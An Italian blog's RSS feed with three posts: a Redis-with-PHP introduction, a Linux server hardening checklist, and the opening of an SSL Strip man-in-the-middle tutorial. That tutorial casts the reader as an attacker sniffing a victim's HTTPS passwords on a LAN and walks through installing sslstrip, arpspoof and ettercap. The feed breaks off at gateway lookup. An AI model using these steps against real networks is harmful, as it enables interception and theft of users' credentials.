<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
> <channel><title>Arturu.it &#187; Software</title> <atom:link href="http://www.arturu.it/blog/tag/software/feed/" rel="self" type="application/rss+xml" /><link>http://www.arturu.it/blog</link> <description>Web 3.0? premi f11, poi f5 e poi sorridi...</description> <lastBuildDate>Wed, 11 Jan 2012 22:17:10 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.1</generator> <item><title>redis nosql come iniziare smanettarci con php</title><link>http://www.arturu.it/blog/2012/01/12/redis-nosql-come-iniziare-php/</link> <comments>http://www.arturu.it/blog/2012/01/12/redis-nosql-come-iniziare-php/#comments</comments> <pubDate>Wed, 11 Jan 2012 22:17:09 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[php]]></category> <category><![CDATA[programmazione]]></category> <category><![CDATA[Sistemista]]></category> <category><![CDATA[OpenSource]]></category> <category><![CDATA[Php]]></category> <category><![CDATA[Programmazione]]></category> <category><![CDATA[Software]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=974</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/php/" title="php">php</a><a
href="http://www.arturu.it/blog/category/programmazione/" title="programmazione">programmazione</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a></p>Da qualche giorno ho scoperto Redis e mi sto domando come iniziare ad utilizzarlo. Redis in parole povere è un database che lavora sulla ram, installato su un normale computer con un processore a singolo core riesce ad eseguire più [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/php/" title="php">php</a><a
href="http://www.arturu.it/blog/category/programmazione/" title="programmazione">programmazione</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a></p><p><a
href="http://www.arturu.it/blog/2012/01/12/redis-nosql-come-iniziare-php/redis-300dpi/" rel="attachment wp-att-977"><img
class="alignleft size-thumbnail wp-image-977" title="redis-nosql" src="http://www.arturu.it/blog/wp-content/uploads/2012/01/redis-300dpi1-150x150.png" alt="Logo di redis" width="150" height="150" /></a>Da qualche giorno ho scoperto Redis e mi sto domando come iniziare ad utilizzarlo. Redis in parole povere è un database che lavora sulla ram, installato su un normale computer con un processore a singolo core riesce ad eseguire più di 100.000 operazioni di lettura/scrittura al secondo. Avete presente memcache, aggiungete il supporto per per le liste e lo storage basato su disco, ecco, questo è più o meno Redis. Redis lo potete usare come database delle code o come server cache o in entrambi i modi.</p><p>Forse è meglio farsi spiegare cos&#8217;è Redis dal suo sviluppatore &#8220;Salvatore Sanfilippo&#8221;</p><pre><a href="http://code.google.com/p/redis/">Redis</a> è un database un pò bizzarro, rispetto ai canoni a cui siamo abituati, per due motivi principali:</pre><pre>1) Tiene tutti i dati in memoria anche se persiste sul disco. In pratica il disco serve solo nel caso in cui il database viene fermato e riavviato, a leggere nuovamente tutto il data set in memoria. Ma tutti gli accessi in lettura e scrittura vengono gestiti principalmente in RAM. Questo permette ad un singolo server Redis che gira su una macchina Linux normalissima, su un solo core, di raggiungere l’interessante prestazione di 100 mila query al secondo. Cosa più interessante le query in lettura e scrittura prendono lo stesso tempo.</pre><pre>2) Le operazioni che supporta sono molto diverse da quelle di un database SQL. Non c’è il concetto di tabella, e non è un semplice database Key-Value a cui si associa ad una stringa (la chiave) un’altra stringa (il valore). Infatti i valori possono essere di altri tipi, come liste, insiemi, insiemi ordinati, o semplicemente stringhe.</pre><p>Tratto da un&#8217;intervista di Salvatore Sanfilippo su <a
title="Leggi l'intervista" href="http://www.ossblog.it/post/5835/salvatore-antirez-sanfilippo-intervista-allo-sviluppatore-di-redis" target="_blank">ossblog.it</a></p><p>Bhe vediamo di smanettarci un po&#8217; su&#8230;</p><p><span
id="more-974"></span></p><p>Prima di tutto bisogna installare il server, su un sistema come ubuntu eseguiamo:</p><p>&nbsp;</p><pre> sudo apt-get install redis-server</pre><p>&nbsp;</p><p>Appena installato il server partirà sulla porta 6379. Per accedere tramite PHP al server Redis esistono molteplici librerie tra le quali: <a
title="libreira predis" href="https://github.com/nrk/predis/" target="_blank">Predis</a> e <a
title="Rediska" href="http://rediska.geometria-lab.net/">Rediska</a>. Invece su questo <a
title="librerie redis" href="http://redis.io/clients" target="_blank">link</a> trovate le <a
title="librerie redis" href="http://redis.io/clients" target="_blank">librerie Redis</a> per tutti gli altri linguaggi.</p><p>Senza che faccio copia e incolla, cosa che non mi piace tanto, potete trovare degli esempi su: <a
title="vedi articolo" href="http://kevin.vanzonneveld.net/techblog/article/redis_in_php/" target="_blank">kevin.vanzonneveld.net</a>, <a
title="predis" href="https://github.com/nrk/predis/blob/v0.7/README.md" target="_blank">predis</a>, <a
title="il blog dello sviluppatore" href="http://antirez.com/" target="_blank">antirez.com</a>.</p><p><a
title="articolo interessante" href="http://cosmicrealms.com/blog/2011/10/03/massive-decrease-in-memory-usage-with-redis-2-dot-4/" target="_blank">Qua</a> trovate un <a
title="articolo interessante" href="http://cosmicrealms.com/blog/2011/10/03/massive-decrease-in-memory-usage-with-redis-2-dot-4/" target="_blank">articolo interessante</a> sulle prestazioni.</p><p>Poi se non vi va d&#8217;installare niente potete sempre fare una prova su <a
title="Fai una prova" href="http://try.redis-db.com/" target="_blank">questo sito</a>.</p><p>La <a
title="documentazione" href="http://redis.io/documentation" target="_blank">documentazione ufficiale</a> la trovate <a
title="documentazione" href="http://redis.io/documentation" target="_blank">qua</a>.</p><p>Se vi piace il progetto e avete 30 minuti liberi potete leggere <a
title="in 30 minuti" href="http://openmymind.net/2011/11/8/Redis-Zero-To-Master-In-30-Minutes-Part-1/" target="_blank">Redis Zero To Master In 30 Minutes</a></p><p>Saluti a tutti, scusate se stavolta sono stato proprio rapido&#8230; <img
src='http://www.arturu.it/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2012/01/12/redis-nosql-come-iniziare-php/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Hardening di base di un sistema linux ovvero i vaneggiamenti di un sysadmin paranoico</title><link>http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/</link> <comments>http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/#comments</comments> <pubDate>Sat, 16 Jul 2011 15:34:25 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[Sistemista]]></category> <category><![CDATA[hardening]]></category> <category><![CDATA[internet]]></category> <category><![CDATA[os]]></category> <category><![CDATA[protocolli]]></category> <category><![CDATA[Reti]]></category> <category><![CDATA[Servizi Web]]></category> <category><![CDATA[sicurezza]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Zero-day]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=828</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a></p>Premesso che la sicurezza in modo assoluto non esiste, oggi affronteremo un argomento molto vasto e complesso l&#8217;hardening di un sistema linux, cioè come rendere più sicuro un sistema esposto sulla rete. In realtà non esiste una guida o &#8220;la [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a></p><p><a
href="http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/tux-pol-150x150/" rel="attachment wp-att-833"><img
class="alignleft size-full wp-image-833" title="Hardening linux" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/tux-pol-150x150.jpg" alt="" width="150" height="150" /></a>Premesso che la sicurezza in modo assoluto non esiste, oggi affronteremo un argomento molto vasto e complesso l&#8217;<strong>hardening di un sistema linux</strong>, cioè come rendere più sicuro un sistema esposto sulla rete. In realtà non esiste una guida o &#8220;<em>la guida</em>&#8221; per mettere in sicurezza un sistema linux ma esistono delle regole per evitare che un sistema sia meno attaccabile. Inoltre, questa non vuole essere una guida esaustiva ma una specie di promemoria sulle operazioni da compiere appena installato un sistema linux.<br
/> Questo promemoria sull&#8217;hardening di un sistema linux è destinato a persone che hanno un po&#8217; di esperienza su linux, particolari conoscenze o riti arcani non servono, basta conoscere un po&#8217; il sistema che si intende modificare e i concetti base di linux, comunque, se ricopiate paro paro i comandi senza ragionare rischiate di rendere inaccessibile il vostro sistema.</p><h2><span
id="more-828"></span>Le partizioni e il filesystem</h2><p>Come tutti sanno la radice del filesystem può essere su un unica partizione oppure articolata con diversi punti di montaggio. Come da molte guide che si possono trovare in giro per la rete è ormai assodato che le directory <em>/tmp</em> , <em>/var</em> , <em>/usr</em> e <em>/home</em> vanno montate in partizioni separate.</p><ul><li>Il punto di montaggio <em>/tmp</em> è pubblico, cioè tutti gli utenti devono avere la possibilità di scrivere, quindi, un aumento spropositato di questo punto di montaggio potrebbe mettere in crisi tutto il sistema se esso fosse su un&#8217;unica partizione. Non conviene montare questa partizione con l&#8217;opzione noexec poiché spesso alcuni software usano questa posizione per installare/aggiornare i pacchetti. Poi, se si è abbastanza paranoici come il sottoscritto, si può montare la partizione con l&#8217;opzione noexec, quando bisognerà fare manutenzione sul sistema <em>/tmp</em> verrà smontata e rimontata senza l&#8217;opzione noexec.</li><li>Il punto di montaggio <em>/var</em> è altrettanto importante per quanto riguarda la sicurezza del sistema, specialmente per la presenza di <em>/var/log</em>, in esso vengonono salvati i log di sistema e in caso di un attacco DOS o un brute force potrebbe aumentare a dismisura. Questa partizione si può montare tranquillamente con l&#8217;opzione noexec.</li><li>Il punto di montaggio <em>/usr</em> va montato in sola lettura, da smontare e rimontare in scrittura quando bisogna fare manutenzione al sistema.</li><li>Per il punto di montaggio <em>/home</em> è buona cosa usare una partizione separata, per una serie infinita di motivi, tra i quali vi è la necessità di montare la partizione con l&#8217;opzione noexec. Questo si fa per evitare che un utente possa caricare un eseguibile bacato con l&#8217;intento di sfruttare lo stesso eseguibile per ottenere i privilegi di amministratore tramite shellcode.</li></ul><p>Già queste impostazioni garantiscono una buona sicurezza, poi se si è abbastanza paranoici si può pensare di togliere il bit SUID/SGID da molti eseguibili non strettamente necessari, dipende da sistema a sistema. In caso si utilizza un sistema virtuale in remoto si potrebbe anche utilizzare le quote per settare le dimensioni massime che devono avere le cartelle.<br
/> Se siete sysadmin molto paranoici come il sottoscritto, subito dopo l&#8217;installazione del sistema ci si può calcolare hash di alcuni file sensibili: grep, ls, ps, netstat ecc; infatti, essi sono i primi che un probabile un attaccante modifica per nascondersi nel sistema. Per questa operazione è meglio usare MD5 e SHA1 al posto di MD2 e MD4 che sono algoritmi già violati (teoricamente anche l&#8217;MD5 è violabile ma solo in determinate condizioni che non rientrano nel nostro caso). Logicamente ad ogni aggiornamento bisogna ricalcolare gli hash, ci si può costruire facilmente uno script che faccia questo.</p><h2>Utenti</h2><p>Per un servizio che è costantemente esposto sulla rete i nomi utente giocano un ruolo molto importante se non fondamentale. Da molti bruteforce subiti, sicuramente da parte di bot che scansionano la rete alla ricerca di sistemi vulnerabili, i nome utente più attaccati sono: root, admin, administrator, testing, spam, postgres, ftpuser, user, newsletter, fax, ftp, office, training, demo, oracle, master, contact, staff, sales, backup, info, test, marketing, smtp, bob, windows, webmaster, mysql, anonymous, guest, ecc., quindi di conseguenza utilizzare questi nome utente per i servizi non è un&#8217;idea molto buona, usare questi username si semplifica del 50% il compito di un eventuale attaccante.<br
/> Una buona soluzione è quella di utilizzare per i nome utente regole simili quelle delle passwords o quasi. Per esempio, all&#8217;utente Mario Rossi si potrebbe impostare un nome utente tipo &#8220;MarioRossi123z&#8221; oppure &#8220;mrossi56ScF&#8221; e così via. La stesso concetto si può estendere anche agli accessi ftp o mail se si fornisce un servizio di hosting o simili.<br
/> Vietare l&#8217;accesso ssh agli utenti e non permettere l&#8217;utilizzo di shell, altrimenti un utente malintenzionato potrebbe compilare o caricare un eseguibile con un bug costruito ad hoc e attraverso esso ottenere i privilegi di root. Impostando la partizione <em>/home</em> con noexec, vietando agli utenti l&#8217;utilizzo di shell e dei compilatori possiamo stare relativamente tranquilli.</p><p>Volendo essere paranoici ci si può costruire uno script che analizza ogni ora o mezzora i log di sistema e ad un tot numero di login falliti da parte di un ip metta in banlist lo stesso. Ci si può inventare un pò di tutto, basta un pò di fantasia.</p><h2>Servizi</h2><p>I servizi senza ombra di dubbio sono la via d&#8217;accesso dei nostri potenziali intrusi, dire che bisogna mantenere aggiornato il software è abbastanza scontato, quindi, la prima regola è un update di sicurezza giornaliero.<br
/> La scelta migliore che si possa fare è chiudere tutti i servizi che non ci servono e rinforzare quelli che offriamo. Come prima cosa eliminare totalmente telnet e simili, se per caso sono installati, ma ormai neanche nelle installazioni di default ci stanno sti servizi. Successivamente controlliamo quali servizi sono aperti digitando da terminale:</p><pre>netstat -t -u -l</pre><p>oppure se preferiamo il numero delle porte</p><pre>netstat -t -u -l --numeric-ports</pre><p>dovremmo ottenere un output simile a questo</p><pre>Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address      Foreign Addr  State
tcp        0      0 *:pop3s                *:*       LISTEN
tcp        0      0 *:mysql                *:*       LISTEN
tcp        0      0 *:pop3                 *:*       LISTEN
tcp        0      0 *:imap                 *:*       LISTEN
tcp        0      0 localhost.locald:domain*:*       LISTEN
tcp        0      0 *:smtp                 *:*       LISTEN
tcp        0      0 *:imaps                *:*       LISTEN
tcp        0      0 *:http                 *:*       LISTEN
tcp        0      0 *:domain               *:*       LISTEN
tcp        0      0 *:ftp                  *:*       LISTEN
tcp        0      0 *:https                *:*       LISTEN
tcp        0      0 *:ssh                  *:*       LISTEN
udp        0      0 localhost.locald:domain*:*
udp        0      0 localhost.locald:domain*:*
udp        0      0 *:36593                *:*
udp        0      0 *:domain               *:*</pre><p>Vediamo dove intervenire</p><h2>Mettere in sicurezza SSH</h2><p>Come detto in precedenza solo gli admin o l&#8217;admin dovrebbe essere abilitato a questo accesso, gli altri utenti non devono poter accedere a questo servizio. Inoltre, molto importante è disabilitare l&#8217;accesso all&#8217;utente root, i privilegi di superutente verranno acquisiti dagli admin tramite il comando su.<br
/> Apriamo il file <em>/etc/ssh/sshd_config</em> con un editor, per disabilitare l&#8217;accesso a root, lasciare l&#8217;accesso solo ad alcuni utenti e vietare l&#8217;uso di password vuote, modificare come segue le seguenti linee</p><pre>PermitRootLogin no
AllowUsers pincopallino, secondopinco
PermitEmptyPasswords no</pre><p>Una buona idea è cambiare la porta predefinita del servizio e forzare l&#8217;utilizzo del protocolo 2</p><pre>Port 65000
Protocol 2</pre><p>eventualmente per impedire l&#8217;utilizzo di sftp commentare la riga</p><pre>#Subsystem    sftp    /usr/libexec/openssh/sftp-server</pre><p>eventualmente se si volesse modificare il banner di presentazione del servizio, prima bisogna de-commentare la seguente riga e successivamente impostare una path dove salvare un file di testo con il banner</p><pre>#Banner /some/path</pre><p>modificato tutto, bisogna riavviare il servizio sshd stando attenti a non fare alcun errore, se si opera in remoto si rischia di autoescludersi dal sistema.</p><p>In caso la paranoia si fa sentire, si può abilitare l&#8217;accesso a ssh soltanto in possesso di una chiave crittografica impostando nel file di configurazione</p><pre>PubkeyAuthentication yes</pre><p>successivamente bisognerà generare una chiave privata e una pubblica per ogni utente a cui si vuole dare l&#8217;accesso, maggiori informazioni su <a
title="Informazioni sulle chiavi ssh" href="http://sial.org/howto/openssh/publickey-auth" target="_blank">http://sial.org/howto/openssh/publickey-auth</a> o <a
title="Sito ufficiale ssh" href="http://www.openssh.com" target="_blank">http://www.openssh.com</a>, l&#8217;accesso si effettua soltanto con la chiave e non verrà richiesta alcuna password.<br
/> Inoltre, possiamo fare in modo che ogni utente loggato lavori in un abiente simile ad un sistema linux ma limitato di alcuni comandi utilizzando un fake chroot, oppure, possiamo prevedere l&#8217;apertura della porta ssh con il port knocking (la classica bussata segreta) per queste e altre tecniche rimando sempre al sito ufficiale di openssh, altrimenti questo articolo diventerebbe troppo lungo.</p><h2>Gli altri servizi</h2><p>Secondo il mio punto di vista sono da prediligere pop3s, smtps e imaps e da chiudere pop3, smtp e imap a meno che non abbiate degli utenti che li utilizzano, in tal caso bisognerà costruire una specie di piano d&#8217;uscita da questi servizi obsoleti.</p><h2>Limitare un SYN Flood</h2><p>Questo era un attacco DOS molto comune alla fine del secolo scorso, le recenti impostazioni di rete tendono a limitare o annullare del tutto questo tipo di attacco. L&#8217;attacco tende a saturare le risorse di sistema, una descrizione dell&#8217;attacco la si può trovare su <a
title="Info SYN Flood" href="http://www.cert.org/advisories/CA-1996-21.html" target="_blank">http://www.cert.org/advisories/CA-1996-21.html</a> . Per limare ulteriolmente le impostazioni di sicurezza rispetto a quelle della vostra rete si possono utlizzare i SYN cookies, essi limitano il numero di richieste da parte di un singolo utente. Aprire il file <em>/etc/sysctl.conf</em> (è un file di configurazione del kernel) ed editare le seguenti linee</p><pre>#Prevent SYN attack
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = xxx
net.ipv4.tcp_synack_retries = 2</pre><p>e le successive linee per la protezione contro l’IP Spoofing</p><pre># Enable IP spoofing protection, turn on source route verification
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.lo.rp_filter = 1
net.ipv4.conf.eth0.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1</pre><p>poi se si desidera configurare la distribuzione come un firewall possiamo utilizzare la configurazione proposta da <a
title="Impostazioni firewall sysctl.conf " href="http://openskill.info/infobox.php?ID=1166" target="_blank">http://openskill.info/infobox.php?ID=1166</a></p><pre>net.ipv4.ip_forward = 1
net.ipv4.ip_dynaddr = 1
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
net.ipv4.tcp_sack = 0
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_fin_timeout = 30
net.ipv4.tcp_window_scaling = 0
net.ipv4.tcp_syn_retries = 3
net.ipv4.tcp_synack_retries = 3
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv4.conf.default.log_martians = 1
net.ipv4.conf.all.rp_filter = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.all.log_martians = 1
kernel.printk = 1 4 1 7
##
net.ipv4.tcp_max_syn_backlog=1280
net.ipv4.conf.all.send_redirects=0
net.ipv4.conf.all.forwarding=0
net.ipv4.conf.all.mc_forwarding=0
net.ipv4.vs.timeout_timewait=60</pre><p>Conclusioni</p><p>Secondo il mio punto di vista questo è il minimo sindacale per mettere in sicurezza il nostro sistema esposto ai rischi della rete. Certo l&#8217;hardening non finisce qua, anzi, questa è solo la punta dell&#8217;iceberg, è compito di ogni sistemista documentarsi e apprendere giorno per giorno nuove tecniche, anche tentando di violare i propri sistemi per saggiarne la sicurezza.</p><p>In rete si trovano numerosi script che ci aiutano in questo compito, magari in un prossimo futuro farò un articolo in merito.</p><p>Saluti</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Ssl strip</title><link>http://www.arturu.it/blog/2010/10/20/ssl-strip/</link> <comments>http://www.arturu.it/blog/2010/10/20/ssl-strip/#comments</comments> <pubDate>Wed, 20 Oct 2010 15:43:50 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Reti]]></category> <category><![CDATA[Ubuntu & C.]]></category> <category><![CDATA[Vulnerabilità]]></category> <category><![CDATA[instantempo]]></category> <category><![CDATA[pacchetti]]></category> <category><![CDATA[protocolli]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[wireless]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=704</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/reti/" title="Reti">Reti</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a><a
href="http://www.arturu.it/blog/category/vulnerabilita/" title="Vulnerabilità">Vulnerabilità</a></p>Oggi si parla di sicurezza informatica, o di insicurezza informatica dipende dai punti di vista. SSL Strip è una tecnica presentata al Black Hat DC del 2009 che rientra nella categoria dei MITM (Main in the middle). All&#8217;interno di una [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/reti/" title="Reti">Reti</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a><a
href="http://www.arturu.it/blog/category/vulnerabilita/" title="Vulnerabilità">Vulnerabilità</a></p><p><img
class="alignleft" title="SSL" src="http://luxsci.com/images/icons/net_sec/128x128/shadow/lock_ok.gif" alt="Icona" width="128" height="128" />Oggi si parla di sicurezza informatica, o di insicurezza informatica dipende dai punti di vista. SSL Strip è una tecnica presentata al <a
href="http://www.blackhat.com/" target="_blank">Black Hat</a> DC del 2009 che rientra nella categoria dei MITM (<a
href="http://it.wikipedia.org/wiki/Man_in_the_middle" target="_blank">Main in the middle</a>). All&#8217;interno di una rete LAN, questa tecnica permette di sniffare le password provenienti da un server sicuro, HTTPS per fare un esempio. Questa tecnica risulta molto pericolosa, in quanto, se un malintenzionato riuscisse ad entrare in una qualsiasi rete LAN o rete wireless (abitazione, ufficio, ecc) potrebbe venire in possesso dei vostri account email e password di hotmail, gmail, facebook, twitter, instantempo e perfino i dati bancari. La tecnica, a grandi linee, molto semplicemente, consiste nel far in modo che il computer dell&#8217;attaccante si metta in mezzo tra il computer della vittima e il router, il computer dell&#8217;attaccante diventa un &#8220;nodo invisibile&#8221; su cui vengono veicolate tutte le informazioni. A fine articolo si abbozzeranno delle soluzioni al problema.</p><p><span
id="more-704"></span></p><h3>Configurazione di SSL Strip</h3><p>Il sistema che userò per configurare gli script e i programmi è Ubuntu 10.4, per diversi motivi: i sorgenti e i comandi sono progettati per un sistema Linux; su un altro sistema non si possono fare tutte le modifiche che ci si propone di fare; sono molti anni che uso Ubuntu e lo conosco fin nei minimi particolari.</p><p>La prima operazione da fare è scaricare SSLStrip da: <a
href="http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz" target="_blank">http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz</a></p><p>Scompattare il pacchetto, utilizzare &#8220;tar -zxvf sslstrip-0.4.tar.gz&#8221; se si sta operando da terminale.</p><pre class="shell">arturu@arturu-laptop:~/Scrivania$ tar -zxvf sslstrip-0.7.tar.gz
sslstrip-0.7/
sslstrip-0.7/setup.py
sslstrip-0.7/README
sslstrip-0.7/COPYING
sslstrip-0.7/lock.ico
sslstrip-0.7/sslstrip/
sslstrip-0.7/sslstrip/StrippingProxy.py
sslstrip-0.7/sslstrip/URLMonitor.py
sslstrip-0.7/sslstrip/ServerConnectionFactory.py
sslstrip-0.7/sslstrip/__init__.py
sslstrip-0.7/sslstrip/ServerConnection.py
sslstrip-0.7/sslstrip/ClientRequest.py
sslstrip-0.7/sslstrip/SSLServerConnection.py
sslstrip-0.7/sslstrip/CookieCleaner.py
sslstrip-0.7/sslstrip.py
arturu@arturu-laptop:~/Scrivania$</pre><p>Il file compresso viene estratto in una cartella, entrare nella cartella e compilare il codice sorgente con &#8220;python setup.py build&#8221; (è necessario avere installato l&#8217;interprete python)</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ python setup.py build
running build
running build_py
creating build
creating build/lib.linux-i686-2.6
creating build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnection.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/StrippingProxy.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/__init__.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/SSLServerConnection.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnectionFactory.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ClientRequest.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/URLMonitor.py -&gt; build/lib.linux-i686-2.6/sslstrip
copying sslstrip/CookieCleaner.py -&gt; build/lib.linux-i686-2.6/sslstrip
running build_scripts
creating build/scripts-2.6
copying and adjusting sslstrip/sslstrip -&gt; build/scripts-2.6
changing mode of build/scripts-2.6/sslstrip from 644 to 755
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Successivamente bisogna installare tutto con il comando &#8220;sudo python setup.py install&#8221;</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo python setup.py install
[sudo] password for arturu:
running install
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -&gt; build/scripts-2.6
running install_lib
running install_scripts
copying build/scripts-2.6/sslstrip -&gt; /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
running install_egg_info
Removing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Appena installato SSLStrip, bisogna procedere all&#8217;installazione di arpspoof. Arpspoof è un programma che fa credere ad  un host (computer della vittima) che l&#8217;indirizzo MAC dell&#8217;attaccante è l&#8217;indirizzo MAC del router (contaminando i pacchetti arp, ma questo è un altro discorso), così facendo la vittima inizia ad inviare all&#8217;attaccante tutto il suo traffico di rete; il  kernel dell&#8217;attaccante, ad eccezione per il traffico destinato alla  porta 80, reindirizza tutto a $ listenPort (10000, per esempio).</p><p>Installiamo arpspoof con il comando &#8220;sudo apt-get install dsniff&#8221; e successivamente installiamo Ettercap (altro famoso tool per la cattura dei pacchetti) con il comando &#8220;sudo apt-get install ettercap&#8221;.</p><p>Adesso che abbiamo installato tutto il software si può passare all&#8217;utilizzo.</p><h3>Utilizzo di SSLStrip</h3><p>Da ora in poi facciamo finta che noi siamo gli attaccanti e Mario sia la nostra vittima. Come prima cosa bisogna conoscere il nostro indirizzo ip all&#8217;interno della rete LAN, da terminale digitiamo &#8220;ifconfig&#8221;</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ifconfig
eth0    Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:0 (0.0 B)  Byte TX:0 (0.0 B)
          Interrupt:21
wlan0  Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          indirizzo inet:10.10.100.5  Bcast:10.10.100.255  Maschera:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:41373 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44774 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:27814338 (27.8 MB)  Byte TX:10429284 (10.4 MB)
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Dopo la voce HWaddr abbiamo il nostro indirizzo MAC e dopo inet il nostro indirizzo ip nella rete interna. In questo caso nella mia rete interna ho il seguente indirizzo ip 10.10.100.5 sull&#8217;interfaccia wireless, l&#8217;ethernet è disattivata; il mio MAC address è 00:00:00:00:00:00 (l&#8217;ho modificato perché non mi va di pubblicarlo).</p><p>Bisogna trovare l&#8217;indirizzo del gateway, è necessario che esso sia uguale a quello della vittima, situazione che si verifica nel 90% dei casi, digitiamo da terminale &#8221; ip route show | grep default | awk &#8216;{ print $3}&#8217; &#8220;</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ip route show | grep default | awk '{ print $3}'
10.10.100.254
